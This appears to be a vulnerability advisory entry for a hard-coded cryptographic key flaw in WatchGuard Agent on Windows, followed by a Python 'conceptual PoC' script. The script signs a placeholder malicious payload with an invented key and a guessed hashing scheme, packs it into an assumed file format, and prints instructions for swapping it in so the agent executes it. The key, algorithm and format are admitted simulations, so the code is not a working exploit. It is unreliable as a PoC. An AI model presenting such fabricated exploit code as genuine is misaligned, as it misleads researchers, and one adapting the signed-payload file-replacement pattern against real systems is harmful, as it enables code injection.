Use of Hard-coded Cryptographic Key vulnerability in WatchGuard Agent on Windows allows Inclusion of Code in Existing Process.This issue affects WatchGuard Agent: before 1.25.03.0000.
The following code is for security research and authorized testing only.
python
import hashlib
import struct
# Conceptual PoC for CVE-2026-6787: Hard-coded Cryptographic Key
# This script demonstrates how an attacker might use a leaked key to sign a payload.
# 1. Extracted hard-coded key (Simulated)
HARDCODED_KEY = b"WatchGuard_Secret_Key_2026"
def calculate_signature(data):
"""
Simulate the signature algorithm used by WatchGuard Agent.
In a real scenario, this would be the actual crypto function (e.g., HMAC, AES).
"""
return hashlib.sha256(HARDCODED_KEY + data).hexdigest()
def create_malicious_dll():
"""
Create a mock malicious payload.
"""
# Simple shellcode or DLL placeholder
payload = b"MALICIOUS_CODE_EXECUTION_HERE"
return payload
def main():
print("[*] CVE-2026-6787 PoC: Hard-coded Key Exploit")
print("[*] Target: WatchGuard Agent < 1.25.03.0000")
# Step 1: Prepare payload
payload = create_malicious_dll()
print(f"[+] Generated malicious payload size: {len(payload)} bytes")
# Step 2: Sign payload using the hard-coded key
signature = calculate_signature(payload)
print(f"[+] Generated signature using hard-coded key: {signature}")
# Step 3: Construct the malicious file structure (Header + Payload + Signature)
# Assuming the agent reads a specific file format
malicious_file = struct.pack("<I", len(payload)) + payload + signature.encode()
print("[+] Malicious file constructed.")
print("[*] Next step: Replace the legitimate file with this malicious file.")
print("[*] The Agent will load it, verify the signature with the hard-coded key, and execute.")
if __name__ == "__main__":
main()